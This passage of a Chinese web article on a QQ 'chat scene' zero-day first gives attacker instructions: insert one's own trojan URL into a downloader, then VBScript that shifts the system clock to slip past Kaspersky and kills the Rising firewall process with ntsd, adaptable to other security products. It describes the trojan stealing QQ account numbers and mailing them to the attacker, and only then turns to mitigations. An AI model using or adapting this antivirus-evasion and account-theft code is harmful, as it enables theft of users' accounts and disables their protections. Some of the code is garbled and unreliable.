代码作用是将文件下载到磁盘中指定的位置，我们只需要把其中的http://www.****.com/mygim.exe改为自己的木马地址即可。

　　Set ws = CreateObject（"Wscript.Shell"）
　　
　　ws.run "cmd /c set date=%date% &&date 1988-1-1 &&ping -n 30 127.0.0.1&&date %date%",vbhide
　　
　　for each ps in getobject（"winmgmts:.
ootcimv2:win32_process"）.instances_
　　
　　if ps.Name="rfwsrv.exe" then
　　
　　ws.run "ntsd -c q -p ps.handle",0

　　这段代码主要有两个作用，首先是通过修改系统的时间，从而让下载的木马程序躲过卡巴斯基的主动防御功能。接着用于检测系统中是否存在瑞星防火墙，如果存在的话就结束该防火墙的进程。

　　当然我们可以依葫芦画瓢来添加结束其他进程的代码，比如要结束金山网镖的进程，只需要将代码if ps.Name="rfwsrv.exe" Then中的rfwsrv.exe，替换为金山网镖的进程名称KPFW32.exe即可。经过这一系列的处理以后，盗号木马就能成功的获取远程用户的QQ号码，并且最终发送到我们指定的信箱里面呢。

　　五、QQ场景漏洞的防范措施

　　由于QQ场景漏洞是一个全新的0DAY漏洞，因此现在还没有现成的安全补丁可以使用，所以只能临时用其他的方法来进行相关的防范。有的人说TM没有聊天场景，因此可以利用TM来代替QQ，但是经过我们的测试发现TM依然受到该漏洞的影响。

　　同样在联系人列表中任意的选择一位，接着点击工具栏中的“选择音乐场景”按钮，然后在“我的场景”标签中点击“在我的场景设置”按钮。现在只需要在弹出的窗口里面把“接受场景邀请”前面的勾去掉就可以啦(图4)。除此以外，还可以选择Scene目录的属性选项，将它的属性设置为只读即可。

　　如果用户已经不信“中标”的话，那么现在还有两种方法可以解决。第一在“我的场景”标签里，选择“不使用场景”选项就可以。另外可以直接到QQ目录中的Scene文件夹，将它中的所有内容彻底删除，就可以完全避免以前的漏洞场景被重新激活。

　　六、QQ场景漏洞的预防方案

　　由于QQ场景漏洞是通过恶意脚本来进行操作的，因此要预防漏洞的方法就是防止非法的聊天场景写入系统磁盘。

　　我们可以通过一款名为《系统安全盾》的安全软件进行防范，该程序不但可以对设置的文件夹进行有效的监控，还可以对非法运行的程序进行有效的拦截操作，这样就从多个方面对系统安全进行保护，并且该程序的自身保护能力也非常的强，只有在正确的输入了确认码后才会弹出，有效的防止程序进程被恶意代码非法结束。

　　《系统安全盾》运行后，点击程序主界面中“监控设置”菜单中的“监控设置调整”命令。程序在默认的情况下，是无法将文件添加到系统目录的。为了更好的监控下载的聊天场景，我们点击鼠标右键来新增项目，双击新增的项目来设置新的监控路径，然后将项目内容都选择√选项。

　　接着再在“文件黑名单”选项里面，将聊天场景中主要的VBScript.qqs文件添加到黑名单，更改配置后一定要点击“应用设置&rd

上一页  [1] [2] [3] 下一页